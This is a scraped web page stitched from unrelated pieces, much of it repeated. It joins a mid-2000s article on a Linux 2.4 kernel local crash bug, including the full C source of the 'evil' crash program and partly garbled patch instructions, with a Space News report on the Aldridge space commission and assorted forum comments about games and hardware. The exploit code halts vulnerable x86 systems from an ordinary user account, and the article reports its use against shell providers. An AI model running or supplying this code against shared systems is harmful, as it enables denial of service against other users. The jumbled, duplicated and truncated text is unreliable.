Using this exploit to crash Linux systems requires the (ab)user to have shell access. The program works on any normal user account, root access is not required. This exploit has been reported used to take down several "lame free-shell providers" servers (this is illegal in most parts of the world and strongly discouraged).
This code only works on x86 Linux machines. This code does not compile (makes no executable) on sparc64 sun4u TI UltraSparc II (BlackBird). This doesn't affect NetBSD Stable.
Check your own system yourself if you are wondering if this affects you. Better safe than sorry. Assume it will crash, sync (even unmount) your file systems before testing. If your system is a production server with 1000 on line users then do not test this code on that box.
How to protect yourself
The last days were frustrating. Compiling a large number of different kernel versions just to find that gcc crash.c -o evil &&./evil halts the system is quite dull. I hoped some kernels would be unaffected because 2.4.26-rc3-gentoo and 2.4.26_pre6-gentoo are, but sadly almost all kernels versions die when evil is executed.
The Linux Kernel mailing list is found to the right of this article. You may find solutions there not mentioned on this page. The author does subscribe and plans to post (better) solutions here as they appear.
Patch for 2.4.2x (vanilla) Kernels Stian Skjelstad mailed me a working patch 2.4 kernels.
2.4.26
I applied it, confirmed that it works with the vanilla 2.4.26 kernel and made a diff (diff -ur linux-2.4.26/kernel/signal.c linux-2.4.26-x/kernel/signal.c > signal.c-2.4.26.patch.txt). (signal.c-2.4.26.patch.txt)
1. Read the Kernel Rebuild Guide if this is your first time compiling your own kernel
2. Download linux-2.4.26.tar.bz2 from your local Linux Kernel Mirror
3. Unpack the kernel source and make a symbolic link:
* cd/usr/src/
* tar xfvj linux-2.4.26.tar.bz2
* ln -s linux-2.4.26 linux
4. Download the patch for 2.4.26: signal.c-2.4.26.patch.txt
5. Apply the patch
* patch -p1 -d/usr/src/linux-2.4.26 signal.c-2.4.21.patch.txt) is tested and works for Kernel 2.4.21 (vanilla).
1. Get a vanilla 2.4.21 kernel and install it.
2. Apply the patch
* patch -p1 -d/usr/src/linux-2.4.26 2.4.26-rc3-gentoo.
I have no idea why this kernel version is safe from this exploit. It just is. This kernel patch set returns Floating point exception instead of locking the system when evil is executed.
This kernel can be used on any Linux system. It does not require any Gentoo-only tools.
1. Read the Kernel Rebuild Guide if this is your first time compiling your own kernel
2. Download linux-2.4.25.tar.bz2 from your local Linux Kernel Mirror
3. Get the patch set for Gentoo 2.4.26-rc3-gentoo (mirror1) (mirror2) aka 2.4.26_pre5:
* wget http://re.a.la/gs (2,2M)
4. Unpack the 2.4.25 kernel source:
* cd/usr/src/
* tar xfvj linux-2.4.25.tar.bz2
5. Apply the Gentoo patchset:
* patch -p1 -d/usr/src/linux-2.4.25 "EXTRAVERSION = -rc3-gentoo"
8. Configure your kernel
* Using your old config: cp/usr/s
commission chartered by U.S. President George W. Bush to advise him on implementing a broad new space exploration vision is recommending streamlining the NASA bureaucracy, relying more heavily on the private sector, and maintaining more oversight of the nation's space program at the White House.
The President's Commission on Implementation of U.S. Space Exploration Policy is scheduled to release its final report June 16. A copy of that report, "A Journey to Inspire, Innovate, and Discover", was obtained by Space News.
The 60-page report outlines the organizational changes the commission says NASA needs to make if it is to achieve the space exploration goals laid out by Bush in January. Those goals include returning humans to the moon by 2020 in preparation for eventual human expeditions to Mars.
The nine-member commission, headed by former U.S. Air Force Secretary Edward (Pete) Aldridge, said if those goals are to be met, the nation needs to commit to space exploration for the long haul, and that the private sector must be given a much larger role in the U.S. space program.
"The Commission believes that commercialization of space should become the primary focus of the vision, and that the creation of a space-based industry will be one of the principal benefits of this journey," the report states. "Today an independent space industry does not really exist. Instead, we have various government funded space programs and their vendors. Over the next several decades -- if the exploration vision is implemented to encourage this -- an entirely new set of businesses can emerge that will seek profit in space."
The commission calls upon NASA to reach out to small, entrepreneurial firms through business opportunities targeted to them. The commission also endorses NASA's plans to award large cash prizes to encourage technological innovation. And the commission encourages the U.S. Congress to enact tax incentives, provide regulatory relief and clarify and protect property rights in space to encourage commercial exploitation of the final frontier.
In the more immediate future, the commission wants NASA to turn over nearly all launch activity to private firms.
"The Commission believes that the private sector is willing and capable of providing the initial boost into low-Earth orbit for the payloads associated with the vision," the report states. "To foster the continued development of this emerging market, the Commission believes that NASA should procure all of its low-Earth orbit launch services competitively on the commercial market."
The commission specifically exempts the launching of human crews from this recommendation, saying in the report that it realizes this responsibility "will likely remain the providence of the government for at least the near-term."
NASA Administrator Sean O'Keefe said June 9 that he had neither seen the commission's report nor been briefed on its recommendations. But during a speech delivered at the U.S. Chamber of Commerce earlier that same day, O'Keefe pledged to heed the commission's recommendations on transforming the space agency.
"The Aldridge commission has given a great deal of thought to how we should be organized in order to achieve these objectives," O'Keefe said. "We will be willing participants in implementing their recommendations. We are determined to transform the agency and our way of doing business to put these goals within reach."
The report says NASA needs to transform its organizational structure, business culture and management processes "all largely inherited from the Apollo era" if it is to accomplish the multi-decade exploration agenda laid out by the president.
The commission wants NASA to transform itself into "a leaner, more focused agency" starting with a major headquarters reorganization that reduces the number of mission-focused departments or what NASA calls enterprises.
Planning for such a reorganization is already well underway at NASA. A draft organ
Are there specialised version for RHEL yet? I know of 3 opensource projects that all use RHEL but there are very few books written about it as of late. It would be good to see this as my shop uses RHEL flavor of CentOS 3.x exclusively.
Did anyone else who read that article think that:
1. This was an RPG
2. It involved Cars
3. Was an RPG about Cars?
come to the conclusion that you could play a CAR in an RPG?!? Imagine being KITT or SHELBY instead of a person? Why not! It's never been done before!
Am I the only creature on the face of the planet who remembers this game and NBA JAM! and thinks that it was 10X better than your avg. football game?
It was unique and creative and had ways for you to 'boost' and 'upgrade' your players as well as playing for the same teams that were in the current NFL league.
I like my games to have a lil more than your avg football game and especially hearing in NBA JAM where the announcer said "HES ON FIRE!" or in blitz where your guy would speed up and bust people up made that game more enjoyable.
They aren't saying anything more than "Yup we got somebody"
They aren't saying for sure it was the people that stole it.
They aren't saying how they got them.
They are't saying what they took from them.
They are only saying they got SOMEBODY but who knows if it's really the guys or someone that downloaded a copy of the game from some warez IRC site and just redistributed it.
Besides, until we get full details that the game is released/on schedule/delayed it really won't matter too much.
the greatest thing one can get when you have kids is a free BABYSITTER! That's right, you and the SO want to go out on the town and you got noone to look after the little ones. So you have to spend some $$$ to get some kid to come over, watch them, eat your food, browse your computer for god knows what and installs who the hell knows what just for a nite out.
I traded an old P2/400 with 128mb of RAM HP kayak for 3 nites of babysitting from a friend of my gf's. She watched the kid while we went out for free after I gave her this box (which I got for free!) and hooked it upto her modem and internet. She was practically in tears as she had a pentium/90 with a 2GB drive (now 10GB) and 32mb of RAM. She could now do all her work on it instead of just waiting forever to have the thing load.
So in essence, I got laid for doing computer work, yes I can pinpoint it all back to it now!
As a person who is building their own Control Panel, I took a bit of advice from the 'masters' and went over to http://www.arcadecontrols.com . They have this book called "Project Arcade" (http://www.projectarcade.com/) and it's a great book on taking 3 sheets of MDF boards and building your own full blown 7' tall arcade machine and shoving all sorts of buttons, spinners, trackballs, and even a StarWars yoke into it!
Me? I built one with 27 buttons (1P,2P, coins, 7 button per players, etc) trackball and spinner. It took me quite some time to do it but with the proper layout, the right tools, and some good equipment it's turned out beautiful.
So for those of you that just want to THINK that you are getting the real thing are not getting anything farther from the truth. If you want the real thing, BUILD the real thing, everything else uses cheaper buttons and joysticks that won't give you the long lasting effect that one you can build and design from the ground up.
I don't know exactly what you are doing but we are using the Fedora Core 2 for X86_64 on dual opteron boxes with 3ware SATA raid cards and 4GB of RAM with mirrored disk for the software.
It runs and purs like a kitten with no problems. Are you using the right version of the distro?
Also y'all can't forget that E-tools the other application that WOTC put out to do a PC Generation program is going to get updated. It's part of the whole deal if you look at it.
1. PCGen gets to update E-tools
2. 90days later after it's fixed they get permission to include the new data sets in both e-tools and pcgen
3. Users pay a small fee to download the material into whichever application they use to use their PC.
This is a win/win for both pcgen users and E-tools users as they finnally have a company that will support them and fix their software AND give them all the tools they need to build a PC. PCGen meanwhile will get the files that have been out of PCGen for eons AND get updated material and closed content WOTC stuff.
How can consumers lose?
you don't HAVE to buy this stuff. Noone is MAKING you and pointing a gun to your head and buying that.
If the wizards SRD stuff is updated then it will get updated in the main app which is (gasp!) FREE and the new SRD will be included.
So instead of paying four times your paying twice over the course of 3E. Hell you don' thave to pay at all...the updated SRD material is a free download off their website!
You can. I work on the data files for a bit and do some QA work on them. If you RTM you can put together the lst files and get everything running in no time. There are editors now where you CAN create the stuff inside the program and it creates it all for you and includes all the syntax.
The documenatation has been updated, the work on the files is going through rigorous QA and then it gets sent off for approval from the company if needbe and then gets submitted in CVS for the release.
We have gone through many process and procedures to make sure everything is uptodate and running smoothly so no more 1/2 ass work getting submitted and done.
Now i am not a core member, a spokesman or any of the sort, just a loyal QA/LST monkey nothing more.
Um i can buy a razor scooter that moves faster for $50 and attach a gas powered engine to it and it'll last 10X as long.
1. Create product.
2. ???????
3. PROFIT!
ahh the old dot com thought proccesses are alive and kicking.
Ok folks. Is it me or did we just see the repeat of the last 100 grisly years of man in this video.
1. We have the machines hauling large blocks of metal similar to the way the jews were used as slaves in egypt to build the great pyramids.
2. We have the persecution of the robots by man and then shot and buried in piles (see nazi germany).
3. We have the tanks come rolling in to repress the rebellion (see tieneman square in china).
4. We have the machines who work harder, work longer and want to be part of mankinds society and we tell them no. (probably will go down with taiwan and china or tibet and china).
Overall this is like a revist to all the old crimes man has done to man but now mankind as a whole is doing to the machines. Who can really blame them when they strike back?
It's a great piece and i look forward to #2 but this really gives you a feeling of "Haven't we seen this before?" and makes one think...
i can just fire up kazaa and search for that new pr0n movie!! w00t!
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hey was that based out of miami? I interviewd (and got the job) down there but couldn't move for various reasons...care to email me and tell me how it f'd up?
[H]ardOCP. Seriously, this is the upteenth time that i have seen an article that is posted here that hasn't been posted on the [H] already. I think we should give them all a break and just have a big link to the [H] and say: "All hardware news that's anygood is found here "
save us all some time..
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#include
./evil halts the system is quite dull. I hoped some kernels would be unaffected because 2.4.26-rc3-gentoo and 2.4.26_pre6-gentoo are, but sadly almost all kernels versions die when evil is executed.
/usr/src/ /usr/src/linux-2.4.26 signal.c-2.4.21.patch.txt) is tested and works for Kernel 2.4.21 (vanilla).
/usr/src/linux-2.4.26 2.4.26-rc3-gentoo.
/usr/src/ /usr/src/linux-2.4.25 "EXTRAVERSION = -rc3-gentoo" /usr/s
#include
#include
static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}
int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);
return 0;
}
Using this exploit to crash Linux systems requires the (ab)user to have shell access. The program works on any normal user account, root access is not required. This exploit has been reported used to take down several "lame free-shell providers" servers (this is illegal in most parts of the world and strongly discouraged).
This code only works on x86 Linux machines. This code does not compile (makes no executable) on sparc64 sun4u TI UltraSparc II (BlackBird). This doesn't affect NetBSD Stable.
Check your own system yourself if you are wondering if this affects you. Better safe than sorry. Assume it will crash, sync (even unmount) your file systems before testing. If your system is a production server with 1000 on line users then do not test this code on that box.
How to protect yourself
The last days were frustrating. Compiling a large number of different kernel versions just to find that gcc crash.c -o evil &&
The Linux Kernel mailing list is found to the right of this article. You may find solutions there not mentioned on this page. The author does subscribe and plans to post (better) solutions here as they appear.
Patch for 2.4.2x (vanilla) Kernels
Stian Skjelstad mailed me a working patch 2.4 kernels.
2.4.26
I applied it, confirmed that it works with the vanilla 2.4.26 kernel and made a diff (diff -ur linux-2.4.26/kernel/signal.c linux-2.4.26-x/kernel/signal.c > signal.c-2.4.26.patch.txt). (signal.c-2.4.26.patch.txt)
1. Read the Kernel Rebuild Guide if this is your first time compiling your own kernel
2. Download linux-2.4.26.tar.bz2 from your local Linux Kernel Mirror
3. Unpack the kernel source and make a symbolic link:
* cd
* tar xfvj linux-2.4.26.tar.bz2
* ln -s linux-2.4.26 linux
4. Download the patch for 2.4.26: signal.c-2.4.26.patch.txt
5. Apply the patch
* patch -p1 -d
1. Get a vanilla 2.4.21 kernel and install it.
2. Apply the patch
* patch -p1 -d
I have no idea why this kernel version is safe from this exploit. It just is. This kernel patch set returns Floating point exception instead of locking the system when evil is executed.
This kernel can be used on any Linux system. It does not require any Gentoo-only tools.
1. Read the Kernel Rebuild Guide if this is your first time compiling your own kernel
2. Download linux-2.4.25.tar.bz2 from your local Linux Kernel Mirror
3. Get the patch set for Gentoo 2.4.26-rc3-gentoo (mirror1) (mirror2) aka 2.4.26_pre5:
* wget http://re.a.la/gs (2,2M)
4. Unpack the 2.4.25 kernel source:
* cd
* tar xfvj linux-2.4.25.tar.bz2
5. Apply the Gentoo patchset:
* patch -p1 -d
8. Configure your kernel
* Using your old config: cp
commission chartered by U.S. President George W. Bush to advise him on implementing a broad new space exploration vision is recommending streamlining the NASA bureaucracy, relying more heavily on the private sector, and maintaining more oversight of the nation's space program at the White House.
.
The President's Commission on Implementation of U.S. Space Exploration Policy is scheduled to release its final report June 16. A copy of that report, "A Journey to Inspire, Innovate, and Discover", was obtained by Space News
The 60-page report outlines the organizational changes the commission says NASA needs to make if it is to achieve the space exploration goals laid out by Bush in January. Those goals include returning humans to the moon by 2020 in preparation for eventual human expeditions to Mars.
The nine-member commission, headed by former U.S. Air Force Secretary Edward (Pete) Aldridge, said if those goals are to be met, the nation needs to commit to space exploration for the long haul, and that the private sector must be given a much larger role in the U.S. space program.
"The Commission believes that commercialization of space should become the primary focus of the vision, and that the creation of a space-based industry will be one of the principal benefits of this journey," the report states. "Today an independent space industry does not really exist. Instead, we have various government funded space programs and their vendors. Over the next several decades -- if the exploration vision is implemented to encourage this -- an entirely new set of businesses can emerge that will seek profit in space."
The commission calls upon NASA to reach out to small, entrepreneurial firms through business opportunities targeted to them. The commission also endorses NASA's plans to award large cash prizes to encourage technological innovation. And the commission encourages the U.S. Congress to enact tax incentives, provide regulatory relief and clarify and protect property rights in space to encourage commercial exploitation of the final frontier.
In the more immediate future, the commission wants NASA to turn over nearly all launch activity to private firms.
"The Commission believes that the private sector is willing and capable of providing the initial boost into low-Earth orbit for the payloads associated with the vision," the report states. "To foster the continued development of this emerging market, the Commission believes that NASA should procure all of its low-Earth orbit launch services competitively on the commercial market."
The commission specifically exempts the launching of human crews from this recommendation, saying in the report that it realizes this responsibility "will likely remain the providence of the government for at least the near-term."
NASA Administrator Sean O'Keefe said June 9 that he had neither seen the commission's report nor been briefed on its recommendations. But during a speech delivered at the U.S. Chamber of Commerce earlier that same day, O'Keefe pledged to heed the commission's recommendations on transforming the space agency.
"The Aldridge commission has given a great deal of thought to how we should be organized in order to achieve these objectives," O'Keefe said. "We will be willing participants in implementing their recommendations. We are determined to transform the agency and our way of doing business to put these goals within reach."
The report says NASA needs to transform its organizational structure, business culture and management processes "all largely inherited from the Apollo era" if it is to accomplish the multi-decade exploration agenda laid out by the president.
The commission wants NASA to transform itself into "a leaner, more focused agency" starting with a major headquarters reorganization that reduces the number of mission-focused departments or what NASA calls enterprises.
Planning for such a reorganization is already well underway at NASA. A draft organ
Are there specialised version for RHEL yet? I know of 3 opensource projects that all use RHEL but there are very few books written about it as of late. It would be good to see this as my shop uses RHEL flavor of CentOS 3.x exclusively.
Can anyone else picture SpongeBob Square Pants vs. Kano in a fight to the death? FATALITY SPONGBOB WINS!
Did anyone else who read that article think that: 1. This was an RPG 2. It involved Cars 3. Was an RPG about Cars? come to the conclusion that you could play a CAR in an RPG?!? Imagine being KITT or SHELBY instead of a person? Why not! It's never been done before!
Am I the only creature on the face of the planet who remembers this game and NBA JAM! and thinks that it was 10X better than your avg. football game?
It was unique and creative and had ways for you to 'boost' and 'upgrade' your players as well as playing for the same teams that were in the current NFL league.
I like my games to have a lil more than your avg football game and especially hearing in NBA JAM where the announcer said "HES ON FIRE!" or in blitz where your guy would speed up and bust people up made that game more enjoyable.
I play games to escape reality, not live it.
It's simply an easier way of just moving data from one device to another without using:
1. Bluetooth/Wi-fi
2. Cables of any sort: LTP/Serial/USB/Fireware/ETC
3. PC-Cards:PCMCIA/CardBus/CompactFlash/Memstick.
It's like taking a 'wand' and magically sucking the data into it and then tapping on the screen and *POOF* your data is there. Bibbity! Bobbity! Boo!
I am pretty sure disney's got a patent on it, but, if not I'm filing!
They aren't saying anything more than "Yup we got somebody"
They aren't saying for sure it was the people that stole it.
They aren't saying how they got them.
They are't saying what they took from them.
They are only saying they got SOMEBODY but who knows if it's really the guys or someone that downloaded a copy of the game from some warez IRC site and just redistributed it.
Besides, until we get full details that the game is released/on schedule/delayed it really won't matter too much.
they would have about 20 ranks in Knowledge (Obvious)!
and you expect to get laid when again?
the greatest thing one can get when you have kids is a free BABYSITTER! That's right, you and the SO want to go out on the town and you got noone to look after the little ones. So you have to spend some $$$ to get some kid to come over, watch them, eat your food, browse your computer for god knows what and installs who the hell knows what just for a nite out. I traded an old P2/400 with 128mb of RAM HP kayak for 3 nites of babysitting from a friend of my gf's. She watched the kid while we went out for free after I gave her this box (which I got for free!) and hooked it upto her modem and internet. She was practically in tears as she had a pentium/90 with a 2GB drive (now 10GB) and 32mb of RAM. She could now do all her work on it instead of just waiting forever to have the thing load. So in essence, I got laid for doing computer work, yes I can pinpoint it all back to it now!
So finally it would become a cathedral instead of a bazzar? That in and of itself would be amazing! :)
As a person who is building their own Control Panel, I took a bit of advice from the 'masters' and went over to http://www.arcadecontrols.com . They have this book called "Project Arcade" (http://www.projectarcade.com/) and it's a great book on taking 3 sheets of MDF boards and building your own full blown 7' tall arcade machine and shoving all sorts of buttons, spinners, trackballs, and even a StarWars yoke into it! Me? I built one with 27 buttons (1P,2P, coins, 7 button per players, etc) trackball and spinner. It took me quite some time to do it but with the proper layout, the right tools, and some good equipment it's turned out beautiful. So for those of you that just want to THINK that you are getting the real thing are not getting anything farther from the truth. If you want the real thing, BUILD the real thing, everything else uses cheaper buttons and joysticks that won't give you the long lasting effect that one you can build and design from the ground up.
what the article meant to say was: "Hi, I'm a gamer, and although I make a metric buttload of $$$ I still can't get laid!"
I don't know exactly what you are doing but we are using the Fedora Core 2 for X86_64 on dual opteron boxes with 3ware SATA raid cards and 4GB of RAM with mirrored disk for the software.
It runs and purs like a kitten with no problems. Are you using the right version of the distro?
Also y'all can't forget that E-tools the other application that WOTC put out to do a PC Generation program is going to get updated. It's part of the whole deal if you look at it. 1. PCGen gets to update E-tools 2. 90days later after it's fixed they get permission to include the new data sets in both e-tools and pcgen 3. Users pay a small fee to download the material into whichever application they use to use their PC. This is a win/win for both pcgen users and E-tools users as they finnally have a company that will support them and fix their software AND give them all the tools they need to build a PC. PCGen meanwhile will get the files that have been out of PCGen for eons AND get updated material and closed content WOTC stuff. How can consumers lose?
you don't HAVE to buy this stuff. Noone is MAKING you and pointing a gun to your head and buying that. If the wizards SRD stuff is updated then it will get updated in the main app which is (gasp!) FREE and the new SRD will be included. So instead of paying four times your paying twice over the course of 3E. Hell you don' thave to pay at all...the updated SRD material is a free download off their website!
You can. I work on the data files for a bit and do some QA work on them. If you RTM you can put together the lst files and get everything running in no time. There are editors now where you CAN create the stuff inside the program and it creates it all for you and includes all the syntax.
The documenatation has been updated, the work on the files is going through rigorous QA and then it gets sent off for approval from the company if needbe and then gets submitted in CVS for the release.
We have gone through many process and procedures to make sure everything is uptodate and running smoothly so no more 1/2 ass work getting submitted and done.
Now i am not a core member, a spokesman or any of the sort, just a loyal QA/LST monkey nothing more.
Um i can buy a razor scooter that moves faster for $50 and attach a gas powered engine to it and it'll last 10X as long. 1. Create product. 2. ??????? 3. PROFIT! ahh the old dot com thought proccesses are alive and kicking.
Ok folks. Is it me or did we just see the repeat of the last 100 grisly years of man in this video.
1. We have the machines hauling large blocks of metal similar to the way the jews were used as slaves in egypt to build the great pyramids.
2. We have the persecution of the robots by man and then shot and buried in piles (see nazi germany).
3. We have the tanks come rolling in to repress the rebellion (see tieneman square in china).
4. We have the machines who work harder, work longer and want to be part of mankinds society and we tell them no. (probably will go down with taiwan and china or tibet and china).
Overall this is like a revist to all the old crimes man has done to man but now mankind as a whole is doing to the machines. Who can really blame them when they strike back?
It's a great piece and i look forward to #2 but this really gives you a feeling of "Haven't we seen this before?" and makes one think...
i can just fire up kazaa and search for that new pr0n movie!! w00t!
hey was that based out of miami? I interviewd (and got the job) down there but couldn't move for various reasons...care to email me and tell me how it f'd up?
b _ d at ya ho o. c o m
thanks!
on how to make REAL money!! 1. Create new eco-fuel. 2. ????? 3. Make money!! Wowsers! I am sure we can now get to mars real quick! JINKIES!!
put a bullet in that noggin of yours? Gee that weren't too [H]ard an answer to come up with now was it?
[H]ardOCP. Seriously, this is the upteenth time that i have seen an article that is posted here that hasn't been posted on the [H] already. I think we should give them all a break and just have a big link to the [H] and say: "All hardware news that's anygood is found here " save us all some time..